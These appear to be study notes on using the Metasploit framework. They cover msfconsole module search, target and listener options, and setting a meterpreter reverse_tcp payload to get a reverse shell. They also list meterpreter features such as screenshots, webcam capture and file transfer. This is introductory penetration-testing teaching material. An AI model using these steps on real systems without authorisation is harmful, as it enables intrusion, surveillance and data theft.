- Industry-famous Tool that makes it easier to hack
- You can choose an exploit and payload and use it for an attack on a target
- Example: Comes with many tools like msfvenom, which creates a custom shell on a target's machine for you.
To Use
- Start by entering
msfconsole in terminal
- Identify a service in a port ( Nmap ) and check if there's a vulnerability in that version of the service and then search metasploit for exploits using
search <servicename> example,search iis

- Select a module by
use <modulename> from the list shown.
- Once loaded, use
show options to show module options that includes RHOST( ip of target) and RPORT (port number where service is running) and LHOST and LPORT (your machine's ip address so the payload can reach you)

- Next you select a payload compatible with the vulnerable app. You also need to consider what kinda shell. You can have a normal shell or reverse shell.
- Firewalls sometime block incoming requests for connection so reverse shell instead connects from the target to your machine. Normal shell is when you connect to target machine.
- We can list all the payloads for all platforms available with the command
show payloads .You can select payloads that just give you shell access or execute commands, but there is a whole fleet of features if you use a Metasploit shell
- Example: meterpreter gives you interactive shell and can also take screenshots of screen, screenshot from webcam, download and upload files and injects itself into the memory.
- To use a payload, use
set PAYLOAD <payload name>. Example: set PAYLOAD linux/x86/meterpreter/reverse_tcp and to see options after that use show options
- You can set option with
set <optionname> like example: set LHOST 10.10.192.43 make sure all options are set.
- Finally hit
run to run the exploit and wait for compromised machine to connect back to your machine and this creates a session to use

- type
help in meterpreter session for all commands